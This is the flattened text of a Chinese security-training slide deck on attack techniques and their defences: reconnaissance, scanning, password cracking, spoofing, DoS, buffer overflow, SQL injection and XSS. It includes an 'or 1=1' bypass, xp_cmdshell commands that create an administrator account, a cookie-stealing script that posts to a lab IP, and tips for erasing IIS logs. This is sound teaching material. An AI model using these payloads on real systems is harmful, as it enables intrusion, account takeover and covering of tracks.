安全攻防实践.ppt

单击此处编辑母版标题样式,单击此处编辑母版文本样式,第二级,第三级,第四级,第五级,2020/8/6 Thursday,#,2026/11/4,安全攻防实践,课程内容,安全攻防,知识体,知识域,安全攻防基础,网络攻击基本概念术语,安全漏洞基础,安全攻防实践,缓冲区溢出原理与实例,攻击目标信息收集,密码破解原理与实例,拒绝服务攻击原理与实例,网页脚本攻击原理与实例,欺骗攻击原理与实例,安全漏洞检测,渗透测试基本流程,知识子域,信息安全漏洞,知识域：安全攻防基础,知识子域：网络攻击基本概念术语,了解网络攻击的基本常识,了解黑客攻击的常用术语,知识子域：网络攻击基本流程,了解网络攻击的基本步骤,了解网络攻击各个阶段常用的攻击手段和工具,网络攻击基本概念及术语,网络攻击的方式,主动攻击：扫描、渗透、拒绝服务,被动攻击：嗅探、钓鱼,一些术语,后门、RootKit,0-day,提权,社会工程学,BotNet（僵尸网络）,B/S（Browser/Server）,攻击的过程,信息收集,分析目标,实施攻击,方便再次进入,清理入侵记录,踩点-信息收集,具体见后面介绍,为什么要收集信息,获取攻击目标大概信息,网络信息,主机信息,应用部署信息,指导下一步攻击行为,信息收集的方式,社会工程学,媒体（如搜索引擎、广告介绍等）,网络工具的探测,定位-分析目标,为什么需要分析目标,确定收集信息的准确性,更准确的判断（例如:index.ycs是java开发，开发人员修改了脚本后缀以迷惑攻击者）,攻击方式及工具路径的选择,分析目标的方法,扫描,漏洞库,论坛等交互应用,入侵-多种多样的入侵方式,针对配置错误的攻击IPC$的攻击,针对应用漏洞的攻击unicode,缓冲区溢出攻击idq缓冲区溢出,电子欺骗攻击ARP欺骗,拒绝服务攻击syn flood,针对弱口令的攻击口令破解,利用服务的漏洞-本地输入法漏洞,利用应用脚本开发的漏洞-SQL注入,利用人的心理-社会工程学攻击,后门可以作什么,方便下次直接进入,监视用户所有行为、隐私,完全控制用户主机,后门放置方式,如果已经入侵,简单！,如果尚未入侵,手动放置,利用系统漏洞，远程植入,利用系统漏洞，诱骗执行,后门-方便下次进入,9,特洛伊木马,随系统自启动,修改注册表,服务,Ini文件,RootKit,设备驱动,脚本后门,难以查找,隐藏账号,考验管理人员耐心与细心,后门-方式,10,改写访问日志,例如：IIS访问日志位置,%WinDir%System32LogFilesW3SVC1exyymmdd.log,改写日志的技巧,修改系统日期,删除中间文件,删除创建的用户,抹去痕迹,11,信息收集与密码破解,知识子域：攻击目标信息收集,了解目标系统网络地址、软件版本等信息获取方式,了解网络设备、系统软件、应用软件扫描攻击的常用工具,知识子域：密码破解原理与实例,了解密码破解技术原理和口令安全基本知识,了解密码破解常用工具及密码字典概念,12,信息收集技术,公开信息的合理利用及分析,IP及域名信息收集,主机及系统信息收集,系统服务信息的收集,系统、服务及应用漏洞信息收集,信息收集技术-公开信息的分析,公开信息的合理利用和分析-信息后面能反馈出什么？,从著名的”照片泄密”案件到“如何用google入侵网站”,1964年中国画报封面,衣着判断：北纬46度至48度的区域-齐齐哈尔与哈尔滨之间,所握手柄的架式-油井的直径,钻井与背后油田间的距离和井架密度-储量和产量,因此设计出适合中国大庆的设备，一举中标,信息收集技术-搜索引擎,网站信息,举例：某网络提供商在其网站上宣传,“特惠服务器租用：RedHat Linux 8.0 支持MY SQL/PHP 采用性能优异的Apache 1.3.XX Web服务器”,搜索引擎,Google搜索,例：某Web服务器存在致命错误脚本“5sf67.jsp”,攻击者可通过搜索引擎查找存在该错误脚本的网站,信息收集技术-域名与IP查询,16,域名与IP信息收集 Whois,Whois是一个标准服务，可以用来查询域名是否被注册以及注册的详细资料,Whois 可以查询到的信息,域名所有者,域名及IP地址对应信息,联系方式,域名到期日期,域名注册日期,域名所使用的 DNS Servers,信息收集技术-域名与IP查询,17,域名与IP查询 nslookup,操作系统自带命令，主要是用来查询域名名称和 IP 之间的对应关系,网络状况查询 Ping,系统自带命令，测试与远端电脑或网络设备的连接状况,网络路径状况查询 tracert,系统自带命令，测试与远端电脑或网络设备之间的路径,信息收集技术-系统鉴别,1DNS的hinfo纪录,2Banner grab,3.二进制文件法,4TCP/IP协议栈检测法,5ICMP堆栈指纹技术,系统鉴别-DNS的hinfo记录,获取方法：dig hinfo,www IN HINFO“Sparc Ultra 5”“,Solaris 2.6,”,非常老的方法，现在一般没有管理员在dns记录里面添加hinfo纪录。,系统鉴别-服务旗标检测,服务旗标检测法,rootpooh#telnet 192.168.1.13,Debian GNU/Linux 2.1 target login:,Redhat:/etc/issue、/etc/,bsd:/etc/motd,Solaris:/etc/motd,缺陷：不准确，负责任的管理员一般都修改这个文件,FTP回显信息,操作系统回显,Web回显信息,系统鉴别-二进制文件分析法,得到远程系统的一个二进制文件,例如,1.web server 目录下产生的core文件,2.配置不当的ftp server下的二进制文件,利用file、readelf命令等来鉴别,系统鉴别-TCP/IP协议栈检测法,其原理是不同厂家的,IP,协议栈实现之间存在许多细微的差别，通过这些差别就能对目标系统的操作系统加以猜测。,主动检测,被动检测,系统鉴别-ICMP堆栈指纹技术,通过端口扫描确定主机开放的端口，,不同的端口对应,运行着的不同的网络服务,端口测试数据包,测试响应数据包,信息收集技术-端口扫描,我知道主机上开放的端口了,端口扫描类型,常规扫描(tcp connect scan),半打开扫描（,tcp syn scan,）,隐秘扫描（Stealth Scan）,SYN/ACK scan：发送一个SYN/ACK分组，,测知防火墙的规则设计。它可确定防火墙是否只是简单的分组过滤,(,只允许已建立好的连接,),；还是一个基于状态的防火墙,(,可执行高级的分组过滤,),FIN scan：发送FIN分组，目标系统应给所有关闭着的端口发回一个RST分组，这种技巧通常只工作在基于UNIX的TCP/IP协议上；,Xmas scan：这一技巧是往目标端口发送一个FIN、URG、PUSH置位的分组，如果目标端口关闭，则返回一个RST分组；,Null scan,：发送所有标识位复位的,TCP,分组；,UDP扫描,端口扫描-常规扫描,26,扫描的方法 TCP Connect Scan,主要是利用TCP三次握手(Three-way handshaking)的连接方式來达到扫描的目的,A,B,1.SYN,2.SYN+ACK,3.ACK,三次握手,使用Nmap 做TCP Connect Scan,端口扫描-半打开扫描,27,扫描的方法 TCP SYN Scan,沒有完成三次握手,如左上图，当主机 A 收到主机 B 的回应后，並不会回传 ACK 数据包给主机 B。,TCP SYN Scan的优缺点,优点：由于沒有完成 TCP 三次握手，所以不会在目标主机上留下记录。,缺点：需有管理者的权限才可执行TCP SYN Scan(以左上图为例，必需要有主机 A 的管理者权限)。,A,B,1.SYN,2.SYN+ACK,3.ACK,三次握手,使用Nmap 做TCP SYN Scan,端口扫描-UDP扫描,28,扫描的方法 UDP Port Scan,由扫描主机发出 UDP 数据包给目标主机的 UDP Port，並等待目标主机 Port 送回ICMP Unreachable信息。,若收到目标主机Port传回的ICMP Unreachable信息，则表示该 Port 处于关闭的状态。,若沒有收到目标主机Port传回的ICMP Unreachable信息，则表示该 Port 可能处于Listen状态。,UDP Port Scan的缺点,UDP 协议不可靠,可能被防火墙过滤掉,使用Nmap 做 udp Scan,端口扫描策略,随机端口扫描,慢扫描,碎片扫描,欺骗扫描,信息收集技术-漏洞扫描,根据目标主机开放的不同应用和服务来扫描和判断是否存在或可能存在某些漏洞,意义,进行网络安全评估,为网络系统的加固提供先期准备,被网络攻击者加以利用来获取重要的数据信息,30,对一个信息系统来说，它的安全性不在于它是否采用了最新的加密算法或最先进的设备，而是由系统本身最薄弱之处，即漏洞所决定的。只要这个漏洞被发现，系统就有可能成为网络攻击的牺牲品。,信息安全的,“,木桶理论,”,信息收集技术-漏洞扫描工具,网络设备漏洞扫描器,Cisco Auditing Tools,集成化的漏洞扫描器,Nessus,Shadow Security Scanner,eEye的Retina,Internet Security Scanner,GFI LANguard,专业web扫描软件,IBM appscan,Acunetix Web Vulnerability,数据库漏洞扫描器,ISS Database Scanner,oscannerOracle数据库扫描器,Metacoretex 数据安全审计工具,工具介绍-端口扫描,Nmap,简介,被称为“扫描器之王”,有for Unix和for Win的两种版本,需要Libpcap库和Winpcap库的支持,能够进行普通扫描、各种高级扫描和操作系统类型鉴别等,使用,-sS：半开式扫描 -sT:普通connect()扫描,-sU：udp端口扫描,-O：操作系统鉴别,-P0：强行扫描（无论是否能够ping通目标）,-p：指定端口范围,-v：详细模式,32,工具介绍-端口扫描,SuperScan,简介,基于Windows平台,速度快，图形化界面,使用,傻瓜化,33,工具介绍-漏洞扫描,Nessus,构架,服务器端：基于Unix系统,客户端：有GTK、Java和Win系统支持,运作,客户端连接服务器端，并下载插件和扫描策略,真正的扫描由服务器端发起,两者之间的通信通过加密认证,优势：,具有强大的插件功能,完全免费，升级快速,非常适合作为网络安全评估工具,34,工具介绍-漏洞扫描,X-Scan,国产自主开发,完全免费,比较古老，缺乏维护,35,工具介绍-web安全扫描,IBM AppScan,36,Acunetix Web Vulnerability Scanner,优秀的Web安全测试软件,密码破解-利用人性懒惰,密码破解方法,密码穷举,暴力破解,密码工具,密码暴力破解工具,密码字典生成工具,密码破解-密码穷举,已知密码加密算法及密文情况下的破解方法,ID:cisp psw:123456,Ok,you can login in,ID:cisp psw:,No,you can not login in,1,12,123,1234,12345,123456,OK,you can login in,No,you can not login in,No,you can not login in,No,you can not login in,No,you can not login in,密码破解-口令暴力猜解,破解工具,John,the Ripper,L0Phtcrack,41,根据用户规则快速生成各类密码字典,提高密码破解效率,密码破解知识的具体体现,攻击者常用的工具,字典生成器,42,系统及应用安全策略对抗密码,限制密码尝试次数,限制必须提供安全的密码,密码有效期等,好的密码特征,自己容易记住，别人不好猜,密码破解安全防御,43,欺骗攻击与拒绝服务攻击,知识子域：欺骗攻击原理与实例,理解IP欺骗、ARP欺骗、DNS欺骗的原理和危害,了解防范欺骗攻击的基本方法,知识子域：拒绝服务工具原理与实例,理解SYN Flood、UDP Flood、Land攻击、TearDrop攻击等典型DoS攻击的原理及危害,理解DDoS攻击的原理,了解防范DoS/DDoS攻击的基本方法,欺骗攻击定义,B,A,C,Hello,I,m B!,欺骗攻击（Spoofing）是指通过伪造源于可信任地址的数据包以使一台机器认证另一台机器的复杂技术,欺骗攻击的主要方式,IP欺骗（IP Spoof）,DNS欺骗,ARP欺骗,TCP会话劫持,路由欺骗,客户,服务器,Syn send,连接请求,回应（ISN）,Syn+ack,确认（ISN+1）,会话过程,IP欺骗基础知识-三次握手,IP欺骗实现步骤,IP欺骗攻击方法中包括了一系列攻击步骤,IP欺骗实例讲解,B,A,C,同步,flood,攻击,连接请求,伪造B进行系列会话,A的序数规则,防止IP欺骗,严格设置路由策略,：拒绝来自网上，且声明源于本地地址的包,使用最新的系统和软件，避免会话序号被猜出,使用抗IP欺骗功能的产品,严密监视网络，对攻击进行报警,ARP欺骗基础-Arp协议工作过程,bb:bb:bb:bb:bb,cc:cc:cc:cc:cc,aa:aa:aa:aa:aa,192.168.1.1,192.168.1.2,Who,s IP is,192.168.1.1,Who,s IP is,192.168.1.a,MAC,aa:aa:aa:aa:,is,192.168.1.1,I see,I will cache,192.168.1.3,ARP欺骗实现,bb:bb:bb:bb:bb,cc:cc:cc:cc:cc,aa:aa:aa:aa:aa,192.168.1.1,192.168.1.2,MAC cc:cc:cc:cc:cc is 192.168.1.1,I see,I will cache,192.168.1.3,MAC df:df:df:df:df is 192.168.1.2,I couldn,t find 192.168.1.2,Internet地址 物理地址,192.168.1.1 cc:cc:cc:cc:cc,ARP欺骗防御,使用静态ARP缓存,IP 与MAC地址绑定,ARP防御工具,DNS欺骗基础-DNS协议工作过程,?,?,其他DNS,1.1.1.1,I will cache,I don,t know,I will ask other,1.1.1.1,?,It,s in my cache,1.1.1.1,DNS服务器,客户机,客户机,DNS服务器,DNS欺骗实现,?,I don,t know,I will ask other,?,Other DNS,is 2.2.2.2,I will cache,?,It,s in my cache,is 2.2.2.2,is 1.1.1.1,攻击者,DNS服务器,DNS服务器,客户机,DNS欺骗防御,安装最新版本的DNS软件,安全设置对抗DNS欺骗,关闭DNS服务递归功能,限制域名服务器作出响应的地址,限制域名服务器作出响应的递归请求地址,限制发出请求的地址,其他欺骗攻击-路由欺骗,ICMP重定向报文欺骗,RIP路由欺骗,源径路由欺骗,拒绝服务攻击定义,拒绝服务式攻击(Denial of Service)，顾名思义就是让被攻击的系统无法正常进行服务的攻击方式。,拒绝服务攻击方式,利用大量数据挤占网络带宽,利用大量请求消耗系统性能,利用协议实现缺陷,利用系统处理方式缺陷,典型的拒绝服务攻击方式,SYN Flood,UDP Flood,Teardrop,LAND,Smurf,(syn)Hello,I,m here,(syn+ack)I,m ready,?,I,m waiting,SYN Flood,(syn)Hello,I,m here,?,I,m waiting,(syn)Hello,I,m here,I,m waiting,I,m waiting,I,m waiting,UDP FLOOD,UDP Flood,1）大量UDP小包冲击应用服务器（DNS、Radius认证等）,2）利用系统服务形成流量（Echo chargen）,3)利用正常UDP服务发送大流量形成网络拥塞,61,LAND攻击,运用IP Spoofing技术送出一连串SYN数据包给目标主机，让目标主机系统误以为这些数据包是由自己发送的。由于目标主机在处理这些数据包的时候，它自己并无法回应给自己SYN-ACK数据包，因而造成系统当机。,62,11.11.11.11,(SYN)hello,I,m 11.11.11.11,Syn+Ack,Ack,SYN,SYN,ACK,ACK,PSH 1:1025,PSH 1025:2049,PSH 2049:3073,FIN,ACK,PSH 1:,1025,PSH,1000,:2049,PSH 2049:3073,试图重组时,主机崩溃,TearDrop,（分片攻击）,63,Smurf攻击,黑客,伪装受害者IP,中间网站,目标子,网络主机,目标子,网络主机,目标子,网络主机,攻击信息,大量ICMP封包 (Layer3),子网络主机,子网络主机,子网络主机,目标网站,大量广播(Layer2),64,拒绝服务攻击的危害,消耗带宽,瘫痪服务器,DNS,网页,电子邮件,阻塞网络,路由器,交换器,65,DDoS攻击原理,66,工具介绍,TFN2K,Trinoo,67,31335,27665,27444,udp,master,client,.,主机列表,telnet,betaalmostdone,攻击指令,目标,主机,nc,拒绝服务攻击防御,定期扫描,过滤不必要的端口与服务,节点配置防火墙/DDOS设备,过滤IP地址,限制SYN/ICMP流量,检查来源,68,缓冲区溢出与网页脚本安全,知识子域：缓冲区溢出原理与实例,理解缓冲区溢出的原理和危害,了解防范缓冲区溢出的基本方法,知识子域：网页脚本原理与实例,理解SQL注入攻击的原理和危害,了解防范SQL注入攻击的基本方法,理解跨站脚本攻击的原理和危害,了解防范跨站脚本攻击的基本方法,缓冲区溢出,缓冲区溢出原理,缓冲区溢出简单示例,缓冲区溢出防御,缓冲区溢出,原理,缓冲区溢出攻击利用编写不够严谨的程序，通过向程序的缓存区写入超过预定长度的数据，造成缓存的溢出，从而破坏程序的堆栈，导致程序执行流程的改变。,基础知识,堆栈,寄存器,指针,缓冲区溢出基础-堆栈及指针,堆栈概念,一段连续分配的内存空间,堆栈特点,后进先出,堆栈生长方向与内存地址方向相反,指针,指针是指向内存单元的地址,寄存器,有限存贮容量的高速存贮部件，它们可用来暂存指令、数据和位址,34H,12H,78H,56H,0108H,ESP,栈顶,堆栈,(AL),(AH),34H,12H,78H,56H,0106H,ESP,栈顶,栈底,栈底,简单示例,Buffer.c,#include,int main(),char name8;,printf(Please input your name:);,gets(name);,printf(you name is:%s!,name);,return 0;,程序作用：,将用户输入的内容打印在屏幕上,简单示例,用户输入内容在8位以内时候，程序正常执行,用户输入内容超过8位以后，程序执行产生错误,简单示例,由于返回地址已经被覆盖，函数执行返回地址时会将,覆盖内容当作返回地址，然后试图执行相应地,址的指令，从而产生错误。,当我们全部输入a时，错误指令地址为0 x616161，0 x61是a 的ASCII编码,内存底部 内存顶部,name EBP ret,cispcisp ,堆栈顶部 堆栈底部,堆栈情况,name EBP ret,aaaaaaaa aaaa aaaa,由于输入的name超过了定义变量的长度（8位），堆栈中预计的位置无法容纳，只好向内存顶部继续写a，由于堆栈的生长方向与内存的生长方向相反，用户输入的a覆盖了堆栈底部EBP和ret。程序在返回时，将EBP中的aaaa的ASCII码：0 x61616161作为返回地址，试图执行0 x61616161处指令，导致错误，形成一次堆栈溢出,缓冲区溢出危害,危害：如果可精确控制内存跳转地址，就可以执行指定代码，获得权限或破坏系统,缓冲区溢出其他知识,缓冲区溢出分类,堆溢出,栈溢出,Shellcode,一段用于溢出并获取权限的代码,缓冲区溢出防御,编写安全代码,最根本的解决方法，对输入数据进行验证,缓冲区不可执行技术,使被攻击程序的数据段地址空间不可执行，从而使攻击者不可能执行输入缓冲区的代码,指针完整性检查,数组越界保护,网页脚本安全,脚本安全的概念,SQL注入原理及危害,跨站脚本原理及危害,80,概念,脚本攻击是针对Web应用的攻击,脚本攻击主要是针对动态网站进行的攻击，其原因是在建立动态网页的过程中没有对用户的输入输出进行有效的合法性验证,动态网站,交互性：即网页会根据用户的要求和选择而动态改变和响应，将浏览器作为客户端界面,自动更新：即无须手动地更新HTML文档，便会自动生成新的页面，可以大大节省工作量,因时因人而变：即当不同的时间、不同的人访问同一网址时会产生不同的页面,81,脚本分类,静态脚本,HTML,动态脚本,asp,php,jsp,vbs,82,SQL 注入,SQL注入（SQL Injection）：程序员在编写代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据或进行数据库操作,操作系统,Web应用,数据库服务器,1,2,3,调用数据库查询,直接调用操作系统命令,通过数据库调用操作系统命令,SQL注入基础知识,SQL(Structured Query Language)：结构化的查询语言，是关系型数据库通讯的标准语言。,查询：,Select statement from table where condition,删除记录：,delete from table where condition,更新记录：,update table set field=value where condtion,添加记录：,insert into table field values(values),常用函数,Count(),Asc(nchar),unicode(nchar),mid(str,n1,n2),substring(str,n1,n2),84,SQL注入简单示例,Select*from table where,user=,admin,and pwd=,SdfG#345!,;,admin,SdfG#345!,Select*from table where,user=,admin,and pwd=,123,or,1=1,admin,123,or,1=1,由于密码的输入方式，使得查询语句返回值永远为True，因此通过验证,SQL注入范例-收集信息,86,xx.xxx.xx.xx/playnews.asp?id=772,and 1=1,Microsoft OLE DB Provider for ODBC Drivers 错误 80040e14,MicrosoftODBC Microsoft Access Driver 字符串的语法错误 在查询表达式 id=772 中。,/displaynews.asp，行31,说明:,数据库为Access,程序没有对于id进行过滤,数据库表中有个字段名为id,SQL注入范例操作数据库,And(SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES);-,Select*from 表名 where 字段=49 And(SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES);,87,SQL注入范例执行系统命令,关键点：SQL Server内置的存储过程xp_cmdshell,master.xp_cmdshell“net user name password/add”,master.xp_cmdshell“net localgroup administrators name/add”-,88,SQL注入防御,开发时过滤特殊字符,：,单引号、双引号、斜杠、反斜杠、冒号、空字符等的字符,过滤的对象:,用户的输入,提交的URL请求中的参数部分,从cookie中得到的数据,部署防SQL注入系统或脚本,跨站脚本,定义,跨站脚本（CSS-Cross Site Scripting）,在远程Web页面的HTML代码中插入的具有恶意目的的数据，用户认为该页面是可信的，但是当浏览器下载该页面时，嵌入其中的脚本将被解释执行,跨站脚本成因,CGI程序没有对用户提交的变量中的HTML代码进行过滤或转换。,这种攻击利用的是用户和服务器之间的信任关系，以及Web站点没有使用有效的输入输出验证来拒绝嵌入的脚本。,90,跨站脚本危害,1 获取其他用户Cookie中的敏感数据,2 屏蔽页面特定信息,3 伪造页面信息,4 拒绝服务攻击,5 突破外网内网不同安全设置,6 与其它漏洞结合,7 其它,91,跨站脚本范例-执行Javascript,有很多种方式可造成Javascript的执行，以下举例两种,最原始的范例如下：,第二种方式，利用expression指令来造成javascript执行，范例如下：,92,body background-image:url(javascript:alert(XSS);,body background-image:expression(alert(XSS);,跨站脚本危害范例-Cookies窃取,93,Web服务器URL,大小为0的iframe,将字符编码传送,var code;,var target=192.168.1.1/?;,info=escape(document.cookie);,target=target+info;,code=;,document.write(code);,跨站脚本危害-窃取Cookies,更改Cookies成功获取身份,小结,脚本攻击从本质上是一种过滤不足造成的攻击,脚本是不需要编译的程序代码，依赖脚本引擎来解释执行，具有很好的操作系统适应性和可移植性,如果不可信的内容被引入到动态页面中，则无论是网站还是客户机都没有足够的信息识别这种情况的发生并采取保护措施,脚本攻击方法主要包括：SQL注入攻击、命令注入、跨站脚本攻击等,